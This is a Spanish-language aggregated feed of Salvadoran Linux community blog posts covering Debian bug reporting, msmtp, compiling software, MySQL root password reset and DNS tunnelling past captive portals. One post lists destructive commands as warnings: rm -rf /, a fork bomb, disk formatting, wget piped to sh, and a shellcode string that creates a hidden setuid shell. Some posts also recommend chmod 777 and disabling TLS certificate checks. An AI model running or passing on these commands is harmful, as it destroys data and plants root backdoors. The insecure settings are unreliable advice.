Segun esta lista elegimos la severidad, luego nos abre un editor (generalmente nano o vi) para escribir la información del bug, debajo de donde se menciona la severidad que elegimos hay un espacio en blanco donde podemos poner la descripción del bug y las pruebas que hicimos para corroborar que es un problema en el programa y no otra cosa como por ejemplo una mala configuración.

Para finalizar guardamos el bug (control+x nano :x vi) luego nos preguntara si deseamos enviar el bug, aqui respondemos si (enter) si tenemos un MTA configurado, en este caso el bug será enviado de inmediato al Debian BTS para su publicación y revisión de parte del responsable del paquete, si no tenemos MTA (la mayoría) damos no (n) y nos dara la ruta donde el bug estara guardado (/tmp/reportbug-archivo), abrimos esta ruta con un editor y copiamos su contenido, luego lo pegamos en un correo nuevo desde nuestro MUA (thunderbird, evolution, claws, mutt <—-si tienes mutt configurado TIENES UN MTA) a la dirección submit@bugs.debian.org o desde nuestro webmail (preferentemente gmail o alguno que no envíe correo en HTML por default).

Montando MSMTP como MTA

Para esta tarea necesitamos una cuenta que soporte envío SMTP, usare gmail para ejemplo, primero instalamos msmtp:

#apt-get install msmtp

Luego como usuario creamos un archivo llamado ~/.msmtprc, y llenamos de la siguiente manera:

account default
host smtp.gmail.com
port 465
auth on
user usuario
password passguord
tls on
tls_starttls off
tls_certcheck off
from usuario@gmail.com

Cambia usuario por tu user de gmail y passguord por la contraseña, luego prueba con este comando si puedes enviar correo:

$echo "una prueba esto es" | msmtp -d direccion@correo.com

Cambia la direccion de correo por una dirección que puedas revisar correo, si recibes un correo sin asunto proveniente de tu cuenta de gmail entonces funciona (puedes usar mutt con este MTA sencillo).

Este MTA solo cumple la funcion de enviar correo de tu usuario hacia la cuenta de gmail asi que no puede manejar recipientes POP3 o IMAP como los servidores completos (postfix, exim, sendmail).

Espero que les haya funcionado y a enviar bugs

mejoremos juntos el software libre aunque no podamos programar


Nov 20, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Programacion Linear: Debian GLP-Solve

Hace ya un par de años que llevé Metodos de Optimización (MOP115) o su equivalente Investicagion de Operaciones (IOP115) en la Facultad de Ingeniería y Arquitectura en la Universidad de El Salvador, cosa que mi memoria no recuerda muy bien.

Hoy un compañero que lleva Manejo de Software para otras ingenierias (Que no es Ing. de Sistemas) le dejaron una tarea de explicar un programa para esa materia, y encontró GLP-Solve [1] que resulve problemas de programación lineal.

Como todo debianero, puse a mi disposicion mis habilidades (con ayuda de leprosys [2]) instalandolo en un sistema Debian Lenny GNU/Linux.

Manos a la obra

Lo primero es descargar el archivo compreso:
Descargar GLP-SOLVE
$wget http://carleos.epv.uniovi.es/~juan/dist/GLP-Solve-1.2.tar.gz
Autenticarse como usuario root
$su

Instalar las dependencias:

libgtk2.0-dev
libgnomeui-dev
libgtksourceview-dev
libgnomeprintui2.2-dev
lp-solve
liblpsolve55-dev

# aptitude install libgtk2.0-dev libgnomeui-dev libgtksourceview-dev libgnomeprintui2.2-dev lp-solve liblpsolve55-dev

Hacer un enlace de la libreria compilada liblpsolve55.so en /usr/lib/ con:
# ln -s /usr/lib/lp_solve/liblpsolve55.so /usr/lib/

Descomprimir el archivo

# cd ./GLP-Solve-1.2

Empezar la compilacion.
Configurar el sistema

# liblpsolve_CFLAGS=-I/usr/include/lpsolve liblpsolve_LIBS="/usr/lib/lp_solve/liblpsolve55.so" ./configure --prefix=/usr --docdir=/usr

Compilar
# make


Instalarlo
# make install
# exit

Ejecutarlo con:
$ glp-solve






[1] http://carleos.epv.uniovi.es/~juan/
[2] http://www.leprosys.info/

Programas de 32 bits no disponibles en AMD64

Todos los que hemos hecho el salto a 64 bits en linux nos encontramos con este problema (el mas grande de todos diría yo), estamos acostumbrados a conseguir todo (o casi todo) nuestro software de los repositorios e incluso algunos programas no-libres que estamos a veces obligados a conseguir por culpa de los amigos que tenemos o la empresa en la que laboramos que lo #exige, o incluso los que nos gusta jugar con consolas que ya no estan vigentes (emulacion) a veces no encontramos disponible el emulador al que estamos acostumbrados, aqui pongo una guía para instalar 2 aplicaciones no disponibles para AMD64 en debian:

1-ZSNES: Este es para mi el mejor emulador de SNES existente, no solo es potente, rápido y muy similar a lo que era la propia consola, ademas de todo es libre, el problema es que por alguna razon que no conozco no es posible compilarlo para 64 bits (si lo intente y varias veces), por lo que no existe un deb para AMD64, lo que hice para hacerlo funcionar fue lo siguiente:

* Bajar la version de 32 bits de packages.debian.org, les recomiendo que bajen la versión disponible para su rama de distro (stable, testing o unstable), y lo instalan de esta manera:

dpkg -i --force-architecture zsnes_****_i386.deb

Cambien la censura de asteriscos por la version que bajaron, luego bajen la única dependencia (que yo necesité) que necesita en 32 bits para funcionar, igual que con el emulador bajen la version de 32 bits de libao2, pero en lugar de instalarla con dpkg (por que puede reemplazar la version para 64 bits creando un error enorme en el sistema) la descomprimimos con (ark en KDE, fileroller en Gnome, Xarchiver en XFCE y LXDE):

ar -x libao***i386.deb

Y luego descomprimir el archivo “data” dentro de la resultante:

tar -xvf data.tar.gz 

entramos a usr/lib (dentro de la carpeta data, no en el sistema) y copiamos todo el contenido hacia /usr/lib32/ (esto si en el sistema):

cp -r * /usr/lib32/

ADVERTENCIA: no lo copien a /usr/lib o /usr/lib64, eso hara ESTRAGOS en el sistema.

Una vez listo damos en la consola el comando:

zsnes

Y veremos la pantalla del emulador listo para jugar \o/.

2- skype

Este es EVIL, por obligacion (unos primos en el norte que no conocen linux) tengo que usar este ya que es la unica forma de hacer una videoconferencia decente con gente que odia el mazinger, bueno para instalar este adefesio en AMD64 es necesaria una enorme cantidad de dependencias, skype lo instalamos igual como zsnes (solo que ese lo bajan de la página de la empresa skype no de debian), y lo instalan asi:

dpkg -i --force-architecture skype******.deb

Las dependencias son las siguientes, (bajar todas de packages.debian.org):

-libqt4-dbus
-libqt4-network
-libqtqui4
-libqtcore4
-libqt4-xml

Hagan el proceso que describí anteriormente para libao y skype funcionara en AMD64


Nov 18, 2009

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

Software Libre y desarrollo tecnológico de El Salvador

IntroducciónEn este artículo se trata de dar una visión general sobre Software Libre y su mayor exponente, el Sistema Operativo GNU/Linux (Un Sistema Operativo esta compuesto por una serie de programas que tratan de facilitar la interacción del usuario de computadora con el hardware de la misma), Filosofía de desarrollo, características principales, situación de software libre en Latinoamérica,

Nov 17, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Problema X11 Caraceteres

Hace cuatro dias, despues de trabajar un rato en mi debian con gnome, de repente aparecieron estos caracteres en donde deberia aparecer texto.


Despues de esperar, y buscarle solución, intenté:

dpkg-reconfigure fontconfig-config
dpkg-reconfigure fontconfig

Pero sin ningun resultado.
Al ver los logs de .xsession-errrors sale:

(gnome-appearance-properties:8121): Pango-WARNING **: shaping failure, expect ugly output. shape-engine=’BasicEngineFc’, font=’ESP 14′, text=’Spanish (Español) ¡Hola!’

SOLUCION:

Cambiar los permisos de las fuentes, por que al no leerlas no halla como renderizarlas y solo hacemos :
$su
#chmod 777 -R /usr/share/fonts

Y LISTO, ya funciona como deberia.. kkzo

Jul 27, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Mi fin de semana...

Después de dar el aviso de la demo de SQL Injection, por IRC se armó la mini-reunión el día viernes y debido a que por estar travesiando cosas que no debía me había tirado el apache/mysql le pedí a vostorga que llevara su laptop con una instalación LAMP por default, así que el viernes estuvimos un rato reunidos con elsimio y vostorga, no fue una demo porque la gente de la bolsa tiene como "medida

Jun 29, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Asamble General Extraordinaria de Linux SV y otras Comunidades de Software Libre

el día de ayer se celebro una reunión de LinuxSV junto a otras Comunidades de Software Libre de El Salvador para tratar de reorganizarnos, estuvo todo muy bien; ya días no se celebraba una la ultima fue en diciembre del 2005, el extracto de lo hablado lo pueden ver acá.

Jun 19, 2009

David Mejia

David Mejia
DAMR.NET » linux feed

Ubuntu Invade a Microsoft El Salvador

Érase una vez  el proyecto Debian GNU/Linux en 1993, que luego por la apertura de su software, nace el proyecto Ubuntu Linux for Human Beings en el 2004, donde luego surgieron las comunidades las cuales son encargadas de difundir el software en cada territorio. En el caso de El Salvador, existe la comunidad Ubuntu de El Salvador.

Sucedió lo que jamás iba a pensar que sucedería jeje, pero unos jóvenes de la comunidad Ubuntu de El Salvador, se dieron a la tarea de ir a regalar CD’s de Ubuntu en la mera mera oficina principal de Microsoft El Salvador, es decir, es como irse a meter a la cueva del León, cualquiera pensaría “nos van a echar de acá”, pero lo curioso de todo es que al final, les terminaron pidiendo CD’s de Ubuntu :D aunque estuvieron a punto de caer, ya que fueron a pedir CD’s de Windows 7 RC1, pero no tenían, hubiera sido un FAIL para ellos.

Así que esta vez  Microsoft de El Salvador “You Have Been Trolled” (en el buen sentido).

Lean la historia completa en el blog de DK Cross, quien fue el autor principal de los hechos :D

Saludos!!

May 26, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

TuxPuck

Por sugerencia de johpunk instale tuxpuck en mi debian y luego de nancear un rato que no hacia ni un pinche gol, al final le pude ganar a arcana y luego a jugar en contra de tux, después de una nanceada buena le pude hacer un gol, creo que ya tengo diversión por otro buen tiempo hasta que logre ganarle a tux, les dejo el reto que le hagan un gol y si pueden le ganan.

May 08, 2009

Manuel Villatoro

Manuel Villatoro
NeoZero's (¬¬) Blog feed

Mysql : restaurar password root

Restaurar la clave de root para mysql en Debian lenny.

1- Detener el servicio de mysql
/etc/init.d/mysql stop
2- Iniciar mysql para que no pida autenticacion
mysqld --skip-grant-tables&
3- Ingresar a la consola de mysql
mysql
4- Cambiar la clave con:
UPDATE mysql.user SET Password=PASSWORD('claveroot') WHERE User='root';
5- Detener el servicio de nuevo
/etc/init.d/mysql stop
6- Iniciar el servicio de nuevo
/etc/init.d/mysql start
7- Ingresar como el usuario root
mysql -p


Saludos

Apr 20, 2009

David Mejia

David Mejia
DAMR.NET » linux feed

Festival Latinoamericano de Software Libre, FLISOL 2009

Como ya es tradición desde hace 4 años, en el mes de Abril se celebra el Festival Latinoamericano de Software Libre (FLISOL), realizandose en todos los países de América Latina, y El Salvador también lo celebrará en grande.

¿Qué habrá en el FLISOL?

Si quieres conocer más acerca del Software Libre, o eres una persona que ha estado usando Windows o Software Privativo toda tu vida, y quieres experimentar el uso del Software Libre y GNU/Linux, te recomiendo grandemente que asistas al FLISOL, porque ahí habrá:

  • Charlas
  • Instalación y Quemado de Distros
  • Conocimiento de Alternativas libres de mucho software de utilidad
  • Compartimiento de experiencias, porque encontrarás mucha gente con experiencia que puede resolver muchas dudas que tengas.

¿Donde Puedo Llegar?

Habrán dos sedes

¿A qué horas?

La hora de inicio será a las 9:00am y terminará a las 4:30pm

Recursos

Si hay algo más que agregar, favor enviar un comentario complementando la información.

Están cordialmente invitados!!

Saludos

Mar 07, 2009

/me va mañana para Guatemala

y eso, amablemente y gentilmente la gente de Debian Guatemala y la Gente del Grupo de usuarios de la Universidad de San Carlos tienen un evento sobre Software libre este sábado(mañana), y tengo la oportunidad de compartir un buen momento con los hermanos «chapines», así que este fin de semana estoy fuera de San Salvador y espero saludar de nuevo desde Antigua Guatemala el sábado en algún bar que tenga wifi :) , así que si alguien de .gt lee y no se entero en sus listas de correo ni en sus websites es momento de buscar debian-gt y LUGUSAC en google :)

Mar 05, 2009

Todos necesitamos internet

Y en algunas ocasiones, nos encontramos en lugares donde en realidad no podemos tener internet.
Uno de los casos comunes es en los aeropuertos/hoteles, donde existen portales cautivos que nos tratan de hacer pagar para tener servico de internet.
en otros lugares, tenemos proxys y administradores que no quieren que el internet fluya, pero bueno, para todo existe solución.

En el mejor de los casos tener un servidor escuchando SSH en un puerto común como 443 ayuda mucho, pero en el peor de los casos, solo tenemos salida de DNS, y nada mas, hasta autenticar.
para esas soluciones es bueno tener iodine:

así:
En el servidor remoto:
(puede ser en un screen que es como /me hace)
# iodined -f 10.0.0.1 usuario
Password: *********

Listo, recordemos que la IP no sea usada por una LAN del Servidor, en mi caso el servidor no tiene un DNS activo, pero existen workarrounds para esos casos.

ahora, en el cliente:
iodine -f XXX.XXX.XXX.XXX usuario
Ponemos nuestro password y listo
tenemos un tunel por DNS, podemos probar hacer ping al host remoto por el tunel (usando la IP que pusimos del lado del cliente)

Bueno, ahora:
ssh -N -f -D localhost:7777 XXX.XXX.XXX.XXX

y tenemos un SOCKs proxy en nuestro equipo, apuntamos nuestra aplicación como iceweasel para usar ese proxy y todos felices :)

Feb 25, 2009

Melvyn Gomez

Melvyn Gomez
elsimio feed

Nuevo Record en Xgalaga

Este domingo que paso me levante tarde, casi a las 11:00 am así que solo busque que había de tomar en el refrigerador, encontré jugo de naranja natural y me fui a la computadora a nancear un rato, al rato me puse a jugar xgalaga-hyperspace en mi Debian solo por ocio pero en la primera partida que tuve vi que llevaba mucha suerte y así como había comentado anteriormente esta vez volví a romper mi

Feb 12, 2009

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Iphone Shell: Apt-get, debs y demas..

Muy interesante, definitivamente... aún estoy buscando información al respecto, pero vean el siguiente screenshot:Existe la aplicación Cydia que implementa apt en el iphone... tambien la aplicacion OpenSSH con la que conseguí la shell de arriba... ya me sentí bastante en confianza: el apt-get update funciona muy bien, las passwords no estan shadowed, algunos comandos como fstab, dmesg, nano y

Jan 16, 2009

Goosh.org -> La shell de Google

En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google..

Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos :(

Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría Chuck Norris (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.

Goosh.org


Usando `deadkeys’ al fin, tildes en mi teclado en Ingles

Una de las cosas que no me gustaba con el hecho de cambiar de laptop era el tema del teclado, pues había tenido ya por buen rato el teclado en español en la HP, y ahora tendría que acostumbrarme de nuevo a no usar tildes, y la falta de la «ñ»

Si bien es cierto mi ortografía es mala, mejoro mucho en el tiempo que use teclado en español, pues ya no tenía excusa para no tildar las palabras que pensaba llevan tildes.

pero bueno, para los pobres desafortunados como yo, que tienen portátiles con teclado en Ingles, aquí la solución:

Esto, saliendo de mi /etc/X11/xorg.conf

17 Section “InputDevice”
18         Identifier      “Generic Keyboard”
19         Driver          “kbd”
20         Option          “XkbRules”      “xorg”
21         Option          “XkbModel”      “pc105″
22         Option          “XkbLayout”     “us”
23         Option          “XkbVariant”    “intl”
24 EndSection

básicamente con la variante “Intl” lo que hacemos es habilitar las teclas muertas en el teclado, es decir, para poner tildes puedo usar la tecla apostrofe «’» y luego la vocal; también se puede usar la combinación AltGr + la vocal, que también funciona. y para la ñ, igual, AltGr + n, o usando la tecla de la virgulilla como deadkey.

Dec 28, 2008

GNU/Linux vs Windows

No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro :D

ROUND 1:

ROUND 2:

ROUND 3:

ROUND 4:

Al parecer las imagenes son de linuxadictos :D


Dec 18, 2008

Comandos “malos” (GNU/Linux)

Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD

Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS.

Revisándolos..
rm -rf /
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema “/” de forma recursiva y sin confirmación alguna..

No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Aparentemente el mismo comando anterior en forma hexadecimal.

mkfs.ext3 /dev/sda

Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.

:( ){:|:&};:

Una bomba fork, ejecuta procesos de forma indefinida hasta que el sistema deje de responder, en otras palabras una negación de servicio a nivel local.

No es tan dañino como los comandos anteriores pero seguro que nadie quisiera ejecutarlo.

any_command > /dev/sda

Una forma simple de arruinar la partición donde esta instalado el sistema, la salida del comando se va a escribir en /dev/sda (otra vez, podría ser /dev/hda/) dejándola completamente inservible.

wget http://some_untrusted_source -O- | sh


Este no garantiza que va a pasar algo malo, lo que hace es que descarga algo de una web ‘x’ y posteriormente lo ejecuta..

El riesgo corre en que no sabemos que estamos descargando.

mv /home/yourhomedirectory/* /dev/null

Este mueve todo lo de tu home a ese agujero negro llamado /dev/null xD

Claro que estos no son los únicos comando peligrosos, son simples formas un tanto ingeniosas de ocupar los mismos recursos del sistema, se pueden dar variaciones y cosas que de igual forma sean fatales para el pingüino (Linux):

mv /* /dev/null

rm -r /etc/

Y varias formas más de combinar estos comandos, claro que para que funcionen deben ser ejecutados como root.

En Youtube andan varios vídeos en su mayoría del famoso comando rm -rf /:

Ahora y a modo de actualización, les comento que no se que hacer con el blog en los próximos días, digo esto porque en el hosting actual solo va a seguir online hasta el próximo 2 de enero xD, tengo pensada una jugada para recuperar y poner todo online de vuelta ese mismo día, pero también quizás llego el momento de dar el salto a un host de pago y un dominio de pago para seguir creciendo..

Aunque puede también que me de un pequeño receso de la blogosfera y luego regrese junto con el proyecto del planeta (cosa que traigo pensada desde hace muchos meses pero nunca la pongo en practica).

Pase lo que pase gracias a todos los que se toman unos minutos para pasar y leer lo que escribo en este blog :)


May 09, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

OpenSuSE 11

Mar 24, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

OpenSUSE Regular Brillo de Pantalla DV6000

Dios dijo "video.ko" y la pantalla se hizo BRILLANTE

Sólo en caso de que este maldita y no puedas regular el brillo de la LCD en Linux, aquí hay algo de ayuda. Por favor, tenga en cuenta que se trata howto muy básico y general guía basada en openSuSE. Así que aquí vamos:


EL PROBLEMA
Usted no puede cambiar su brillo de la pantalla de la computadora portátil

RÁPIDA SOLUCION
Habilitar el modulo "Video" que viene con el paquete ACPI


FASE A

  1. Las necesidades de control de brillo LCD con el paquete acpi / video.ko (módulo).
  2. Primero asegúrate de acpi / vídeo módulo se carga correctamente. Ejecutar "lsmod" para ver todos los módulos cargados. Busque la entrada "vídeo". ( pase a fase B) Si no, tendrá que cargar el módulo manualmente. Prosiga con el paso 3.
  3. Cheque para la disponibilidad de este módulo en su distribución. Para ello, ejecuta "modprobe-l" como root para ver todos los módulos disponibles. " Esté atento a una entrada " <someting> /acpi/video.ko" / Acpi / video.ko " </someting> . Si es allí, proceder a paso 4. Aunque se trata de un módulo muy común, pero si, en casos raros, usted no lo encuentra, tendrá que parchear su kernel, que es un proceso largo y esta más allá del alcance de esta guía (una bonita forma de decir que NO por hoy! !) En cualquier caso, es que el módulo, puede proceder.
  4. Ejecutar "modprobe vídeo" como root para cargar el módulo. Luego ejecuta "lsmod" y verá el vídeo se indican en la parte superior. Si no puede ver el módulo de esta lista, andá Fase B
FASE B
Antes de continuar, por favor vaya a través de la fase A, una vez más, y comprobar que no te has perdido nada.
Introducida como una nueva "característica", xorg bloques "vídeo" módulo de carga. Como solución temporal, haga lo siguiente:
  1. Edite como root "/ etc/modprobe.d/xorg-x11-driver-video"
  2. Comentario de la línea "install vídeo / bin / true"
  3. Ejecutar "modprobe vídeo" como root
Para dejar permanente la carga del modulo "Video" ingresamos al archivo /etc/sysconfig/kernel
buscar la linea MODULES_LOADED_ON_BOOT="" agregamos la palabra "video" entre las comillas, quedando de la siguiente forma MODULES_LOADED_ON_BOOT="video", de esta forma cada vez que iniciemos el openSuSE sera cargado el modulo.

Y listo!!! despues de casi unos 12 meses peleando con el brillo del LCD POR FIN!!!!!! funciona! como debe ser.


Mar 21, 2008

Daniel Estevez

Daniel Estevez
Stevz ~ EnSuSEado feed

Anuncio openSUSE 11.0 Alpha 3

Una buena noticia!
El dia 20 de marzo anunciaron la liberacion del OpenSUSE 11.0 Alpha 3




una muestra de los paquetes actualizados a una nueva version es la siguiente:
  • linux kernel 2.6.25-rc5
  • GCC 4.3 final
  • GNOME 2.22 final
  • Compiz 0.7.2
  • KDE 4.0.2/3.5.9
  • Zypper 0.10.2
La iso la pueden descargar de aqui opensuse 11.0 Alpha 3